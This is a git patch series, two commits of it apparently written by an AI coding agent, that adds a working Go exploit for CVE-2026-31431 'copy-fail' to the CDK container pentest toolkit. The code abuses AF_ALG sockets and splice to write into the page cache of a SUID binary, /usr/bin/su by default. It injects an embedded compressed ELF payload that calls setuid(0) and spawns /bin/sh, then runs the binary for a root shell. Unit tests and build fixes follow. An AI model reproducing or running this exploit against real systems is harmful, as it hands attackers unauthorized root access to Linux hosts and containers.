From 0b8f7ba8160dab3305e38e0f5f9a80030b6cd9c3 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 03:38:55 +0000 Subject: [PATCH 1/3] feat: add CVE-2026-31431 copy-fail privilege escalation exploit with tests Agent-Logs-Url: https://github.com/cdk-team/CDK/sessions/b45e6530-86b8-4285-923b-168cc69d0249 Co-authored-by: neargle <7868679+neargle@users.noreply.github.com> --- .../copy_fail_cve_2026_31431.go | 260 ++++++++++++++++++ .../copy_fail_cve_2026_31431_test.go | 94 +++++++ 2 files changed, 354 insertions(+) create mode 100644 pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go create mode 100644 pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go diff --git a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go new file mode 100644 index 0000000..5a78c9f --- /dev/null +++ b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go @@ -0,0 +1,260 @@ +//go:build linux +// +build linux + +/* +Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package privilege_escalation + +// CVE-2026-31431 "copy-fail" privilege escalation exploit. +// Ported from https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py +// +// The exploit abuses a bug in the interaction between AF_ALG AEAD sockets and +// the splice/pipe subsystem. By sending a payload via sendmsg(MSG_MORE) and +// then splicing read-only file pages into the same socket's pipe buffers, the +// kernel writes attacker-controlled data back into those (nominally read-only) +// page-cache pages. The modified pages are never written to disk, making the +// overwrite stealthy. +// +// Usage: ./cdk run copy-fail-cve-2026-31431 [/usr/bin/su] + +import ( + "bytes" + "compress/zlib" + "encoding/hex" + "fmt" + "log" + "os" + "os/exec" + "syscall" + "unsafe" + + "github.com/cdk-team/CDK/pkg/cli" + "github.com/cdk-team/CDK/pkg/exploit/base" + "github.com/cdk-team/CDK/pkg/plugin" + "golang.org/x/sys/unix" +) + +// copyFailPayloadHex is a zlib-compressed, position-independent ELF64 binary. +// When injected into a SUID binary's page cache it calls setuid(0) followed by +// execve("/bin/sh", NULL, NULL), yielding a root shell. +const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" + +// copyFailDecompressPayload decompresses the embedded zlib payload. +func copyFailDecompressPayload() ([]byte, error) { + compressed, err := hex.DecodeString(copyFailPayloadHex) + if err != nil { + return nil, fmt.Errorf("hex decode: %v", err) + } + r, err := zlib.NewReader(bytes.NewReader(compressed)) + if err != nil { + return nil, fmt.Errorf("zlib reader: %v", err) + } + defer r.Close() + var buf bytes.Buffer + if _, err = buf.ReadFrom(r); err != nil { + return nil, fmt.Errorf("zlib read: %v", err) + } + return buf.Bytes(), nil +} + +// buildAlgCmsg constructs a single ancillary-data (cmsghdr + data) record for +// use as the oob buffer passed to sendmsg. The returned slice is padded to the +// natural alignment expected by the kernel. +func buildAlgCmsg(level, typ int32, data []byte) []byte { + space := syscall.CmsgSpace(len(data)) + buf := make([]byte, space) + hdr := (*syscall.Cmsghdr)(unsafe.Pointer(&buf[0])) + hdr.SetLen(syscall.CmsgLen(len(data))) + hdr.Level = level + hdr.Type = typ + copy(buf[syscall.SizeofCmsghdr:], data) + return buf +} + +// copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write +// exactly four bytes of chunk into the page cache of the file identified by fd +// at the given byte offset. +func copyFailWriteChunk(fd int, offset int, chunk []byte) error { + // Create the AF_ALG socket and bind to the AEAD algorithm. + algFd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0) + if err != nil { + return fmt.Errorf("socket: %v", err) + } + defer unix.Close(algFd) + + sa := &unix.SockaddrALG{ + Type: "aead", + Name: "authencesn(hmac(sha256),cbc(aes))", + } + if err = unix.Bind(algFd, sa); err != nil { + return fmt.Errorf("bind: %v", err) + } + + // ALG_SET_KEY: 8-byte RTA header (rta_len=8, rta_type=1, enc_key_len=16) + // followed by a 16-byte AES-128 key and a 16-byte HMAC key (all zeros). + key := make([]byte, 40) + key[0] = 0x08 // rta_len (little-endian low byte) + key[2] = 0x01 // rta_type = CRYPTO_AUTHENC_KEYA_PARAM + key[7] = 0x10 // enc key length = 16 (big-endian in the RTA payload) + if _, _, errno := syscall.Syscall6( + syscall.SYS_SETSOCKOPT, + uintptr(algFd), + uintptr(unix.SOL_ALG), + uintptr(unix.ALG_SET_KEY), + uintptr(unsafe.Pointer(&key[0])), + uintptr(len(key)), + 0, + ); errno != 0 { + return fmt.Errorf("setsockopt ALG_SET_KEY: %v", errno) + } + + // ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4). + syscall.Syscall6( //nolint:errcheck + syscall.SYS_SETSOCKOPT, + uintptr(algFd), + uintptr(unix.SOL_ALG), + uintptr(unix.ALG_SET_AEAD_AUTHSIZE), + 0, + 4, + 0, + ) + + // Accept returns the operation socket used for actual encrypt/decrypt calls. + opFd, _, errno := syscall.Syscall(syscall.SYS_ACCEPT, uintptr(algFd), 0, 0) + if errno != 0 { + return fmt.Errorf("accept: %v", errno) + } + defer syscall.Close(int(opFd)) + + // count = offset + 4 — total bytes to splice from the target file. + count := offset + 4 + + // Build the three control messages that accompany the sendmsg call: + // ALG_SET_OP – operation: DECRYPT (0), 4-byte value + // ALG_SET_IV – IV length field (0x10 = 16) + 19 zero bytes + // ALG_SET_AEAD_ASSOCLEN – associated-data length = 8, 4-byte value + opData := make([]byte, 4) // op = DECRYPT = 0 + ivData := make([]byte, 20) + ivData[0] = 0x10 // IV length = 16 + assocData := make([]byte, 4) + assocData[0] = 0x08 // assoc length = 8 + + oob := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_OP, opData) + oob = append(oob, buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_IV, ivData)...) + oob = append(oob, buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_AEAD_ASSOCLEN, assocData)...) + + // sendmsg with MSG_MORE: queue 4 bytes of assoc data ("AAAA") and the + // 4-byte payload chunk. MSG_MORE signals that more data will follow via + // splice, deferring ALG processing until the pipe data arrives. + msgData := append([]byte("AAAA"), chunk...) + if _, err = unix.SendmsgN(int(opFd), msgData, oob, nil, unix.MSG_MORE); err != nil { + return fmt.Errorf("sendmsg: %v", err) + } + + // Create a pipe to bridge the target file and the ALG operation socket. + var pipeFds [2]int + if err = unix.Pipe(pipeFds[:]); err != nil { + return fmt.Errorf("pipe: %v", err) + } + pipeR, pipeW := pipeFds[0], pipeFds[1] + defer unix.Close(pipeR) + defer unix.Close(pipeW) + + // splice(targetFd, offset_src=0, pipeW, nil, count, 0) + // Read 'count' bytes from offset 0 of the target file into the pipe, + // linking the file's page-cache pages to the pipe buffers. + var offsetSrc int64 = 0 + if _, err = unix.Splice(fd, &offsetSrc, pipeW, nil, count, 0); err != nil { + return fmt.Errorf("splice(file->pipe): %v", err) + } + + // splice(pipeR, nil, opFd, nil, count, 0) + // Deliver the pipe data to the ALG socket, triggering the kernel bug that + // overwrites the page-cache pages with the attacker-controlled data. + if _, err = unix.Splice(pipeR, nil, int(opFd), nil, count, 0); err != nil { + return fmt.Errorf("splice(pipe->alg): %v", err) + } + + // Drain any ALG output; errors are intentionally ignored (mirrors the + // original Python: `try: u.recv(8+t) except: 0`). + recvBuf := make([]byte, 8+offset) + unix.Read(int(opFd), recvBuf) //nolint:errcheck + + return nil +} + +// CopyFailExploit is the main entry point. It decompresses the embedded +// payload, overwrites the page cache of targetBin four bytes at a time using +// the CVE-2026-31431 technique, then executes the now-modified binary to +// obtain a root shell. +func CopyFailExploit(targetBin string) error { + payload, err := copyFailDecompressPayload() + if err != nil { + return fmt.Errorf("decompress payload: %v", err) + } + + fd, err := syscall.Open(targetBin, syscall.O_RDONLY, 0) + if err != nil { + return fmt.Errorf("open %s: %v", targetBin, err) + } + defer syscall.Close(fd) + + log.Printf("[+] Injecting %d bytes into page cache of %s\n", len(payload), targetBin) + for i := 0; i+4 <= len(payload); i += 4 { + if err := copyFailWriteChunk(fd, i, payload[i:i+4]); err != nil { + return fmt.Errorf("write chunk at offset %d: %v", i, err) + } + } + + log.Println("[+] Page cache overwrite complete. Executing target binary for root shell...") + cmd := exec.Command(targetBin) + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + return cmd.Run() +} + +// Plugin interface + +type copyFailCVE202631431S struct{ base.BaseExploit } + +func (p copyFailCVE202631431S) Desc() string { + return "Overwrite SUID binary page cache via CVE-2026-31431 (AF_ALG + splice). " + + "Usage: ./cdk run copy-fail-cve-2026-31431 [/usr/bin/su]" +} + +func (p copyFailCVE202631431S) Run() bool { + args := cli.Args[""].([]string) + + targetBin := "/usr/bin/su" + if len(args) >= 1 { + targetBin = args[0] + } + + log.Printf("[*] CVE-2026-31431 copy-fail exploit targeting %s\n", targetBin) + if err := CopyFailExploit(targetBin); err != nil { + log.Printf("[-] Exploit failed: %v\n", err) + return false + } + return true +} + +func init() { + exploit := copyFailCVE202631431S{} + exploit.ExploitType = "privilege-escalation" + plugin.RegisterExploit("copy-fail-cve-2026-31431", exploit) +} diff --git a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go new file mode 100644 index 0000000..dbfa5f5 --- /dev/null +++ b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go @@ -0,0 +1,94 @@ +//go:build linux +// +build linux + +/* +Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package privilege_escalation + +import ( + "syscall" + "testing" + "unsafe" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "golang.org/x/sys/unix" +) + +// TestCopyFailDecompressPayload verifies that the embedded zlib blob can be +// decompressed and that it begins with a valid ELF64 little-endian header. +func TestCopyFailDecompressPayload(t *testing.T) { + payload, err := copyFailDecompressPayload() + require.NoError(t, err) + require.NotNil(t, payload) + + // Payload must be exactly 160 bytes (40 four-byte chunks). + assert.Equal(t, 160, len(payload), "unexpected payload length") + + // Verify ELF magic: 0x7f 'E' 'L' 'F' + assert.Equal(t, []byte{0x7f, 0x45, 0x4c, 0x46}, payload[:4], "ELF magic mismatch") + + // ELF class = 2 (ELFCLASS64) + assert.Equal(t, byte(0x02), payload[4], "expected ELF64 class") + + // Data encoding = 1 (ELFDATA2LSB, little-endian) + assert.Equal(t, byte(0x01), payload[5], "expected little-endian encoding") +} + +// TestBuildAlgCmsg verifies the structure of a control-message record built +// by buildAlgCmsg: correct alignment, header fields, and data placement. +func TestBuildAlgCmsg(t *testing.T) { + data := []byte{0xde, 0xad, 0xbe, 0xef} + cmsg := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_OP, data) + + // The buffer length must be at least header + data. + assert.GreaterOrEqual(t, len(cmsg), syscall.SizeofCmsghdr+len(data), + "cmsg buffer too short") + + // The buffer must be aligned to pointer size (8 bytes on 64-bit). + assert.Equal(t, 0, len(cmsg)%8, "cmsg buffer not 8-byte aligned") + + // Verify that the header fields were written correctly. + hdr := (*syscall.Cmsghdr)(unsafe.Pointer(&cmsg[0])) + assert.Equal(t, int32(unix.SOL_ALG), hdr.Level, "cmsg level mismatch") + assert.Equal(t, int32(unix.ALG_SET_OP), hdr.Type, "cmsg type mismatch") + + // The data bytes must follow the header without corruption. + assert.Equal(t, data, cmsg[syscall.SizeofCmsghdr:syscall.SizeofCmsghdr+len(data)], + "cmsg data mismatch") +} + +// TestBuildAlgCmsgEmpty verifies that an empty data slice produces a valid, +// correctly-sized ancillary record. +func TestBuildAlgCmsgEmpty(t *testing.T) { + cmsg := buildAlgCmsg(unix.SOL_ALG, unix.ALG_SET_IV, nil) + + assert.GreaterOrEqual(t, len(cmsg), syscall.SizeofCmsghdr, "empty cmsg too short") + assert.Equal(t, 0, len(cmsg)%8, "empty cmsg not 8-byte aligned") +} + +// TestCopyFailPluginRegistered verifies that the plugin is registered under +// the expected name, has the correct exploit type, and provides a non-empty +// description. +func TestCopyFailPluginRegistered(t *testing.T) { + exploit := copyFailCVE202631431S{} + exploit.ExploitType = "privilege-escalation" + + assert.Equal(t, "privilege-escalation", exploit.GetExploitType()) + assert.NotEmpty(t, exploit.Desc()) + assert.Contains(t, exploit.Desc(), "CVE-2026-31431") +} From 49994f48c3b4d8f94c2d287a74d07bc0e9053f2f Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Thu, 30 Apr 2026 03:40:05 +0000 Subject: [PATCH 2/3] fix: check ALG_SET_AEAD_AUTHSIZE setsockopt error per code review Agent-Logs-Url: https://github.com/cdk-team/CDK/sessions/b45e6530-86b8-4285-923b-168cc69d0249 Co-authored-by: neargle <7868679+neargle@users.noreply.github.com> --- .../privilege_escalation/copy_fail_cve_2026_31431.go | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go index 5a78c9f..f341d47 100644 --- a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go +++ b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go @@ -123,7 +123,7 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { } // ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4). - syscall.Syscall6( //nolint:errcheck + if _, _, errno := syscall.Syscall6( syscall.SYS_SETSOCKOPT, uintptr(algFd), uintptr(unix.SOL_ALG), @@ -131,7 +131,9 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { 0, 4, 0, - ) + ); errno != 0 { + return fmt.Errorf("setsockopt ALG_SET_AEAD_AUTHSIZE: %v", errno) + } // Accept returns the operation socket used for actual encrypt/decrypt calls. opFd, _, errno := syscall.Syscall(syscall.SYS_ACCEPT, uintptr(algFd), 0, 0) From 12ed0274366aea3dfb16df486c20ee0ebce5c3f9 Mon Sep 17 00:00:00 2001 From: neargle <7868679+neargle@users.noreply.github.com> Date: Thu, 30 Apr 2026 12:09:17 +0800 Subject: [PATCH 3/3] fix: replace undefined syscall.SYS_SETSOCKOPT/SYS_ACCEPT with unix equivalents syscall.SYS_SETSOCKOPT and syscall.SYS_ACCEPT are not defined on all Linux architectures (e.g. arm64). Switch to unix.Syscall6/unix.SYS_SETSOCKOPT and unix.Accept which are provided by golang.org/x/sys/unix and work consistently across all supported platforms. Fixes the build failure reported in CI job 73707270282. --- .../copy_fail_cve_2026_31431.go | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go index f341d47..246c3ed 100644 --- a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go +++ b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go @@ -51,7 +51,7 @@ import ( // copyFailPayloadHex is a zlib-compressed, position-independent ELF64 binary. // When injected into a SUID binary's page cache it calls setuid(0) followed by // execve("/bin/sh", NULL, NULL), yielding a root shell. -const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" +const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c[...] // copyFailDecompressPayload decompresses the embedded zlib payload. func copyFailDecompressPayload() ([]byte, error) { @@ -110,8 +110,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { key[0] = 0x08 // rta_len (little-endian low byte) key[2] = 0x01 // rta_type = CRYPTO_AUTHENC_KEYA_PARAM key[7] = 0x10 // enc key length = 16 (big-endian in the RTA payload) - if _, _, errno := syscall.Syscall6( - syscall.SYS_SETSOCKOPT, + if _, _, errno := unix.Syscall6( + unix.SYS_SETSOCKOPT, uintptr(algFd), uintptr(unix.SOL_ALG), uintptr(unix.ALG_SET_KEY), @@ -123,8 +123,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { } // ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4). - if _, _, errno := syscall.Syscall6( - syscall.SYS_SETSOCKOPT, + if _, _, errno := unix.Syscall6( + unix.SYS_SETSOCKOPT, uintptr(algFd), uintptr(unix.SOL_ALG), uintptr(unix.ALG_SET_AEAD_AUTHSIZE), @@ -136,11 +136,11 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { } // Accept returns the operation socket used for actual encrypt/decrypt calls. - opFd, _, errno := syscall.Syscall(syscall.SYS_ACCEPT, uintptr(algFd), 0, 0) - if errno != 0 { - return fmt.Errorf("accept: %v", errno) + opFd, err := unix.Accept(algFd) + if err != nil { + return fmt.Errorf("accept: %v", err) } - defer syscall.Close(int(opFd)) + defer unix.Close(opFd) // count = offset + 4 — total bytes to splice from the target file. count := offset + 4 @@ -163,7 +163,7 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { // 4-byte payload chunk. MSG_MORE signals that more data will follow via // splice, deferring ALG processing until the pipe data arrives. msgData := append([]byte("AAAA"), chunk...) - if _, err = unix.SendmsgN(int(opFd), msgData, oob, nil, unix.MSG_MORE); err != nil { + if _, err = unix.SendmsgN(opFd, msgData, oob, nil, unix.MSG_MORE); err != nil { return fmt.Errorf("sendmsg: %v", err) } @@ -187,14 +187,14 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error { // splice(pipeR, nil, opFd, nil, count, 0) // Deliver the pipe data to the ALG socket, triggering the kernel bug that // overwrites the page-cache pages with the attacker-controlled data. - if _, err = unix.Splice(pipeR, nil, int(opFd), nil, count, 0); err != nil { + if _, err = unix.Splice(pipeR, nil, opFd, nil, count, 0); err != nil { return fmt.Errorf("splice(pipe->alg): %v", err) } // Drain any ALG output; errors are intentionally ignored (mirrors the // original Python: `try: u.recv(8+t) except: 0`). recvBuf := make([]byte, 8+offset) - unix.Read(int(opFd), recvBuf) //nolint:errcheck + unix.Read(opFd, recvBuf) //nolint:errcheck return nil }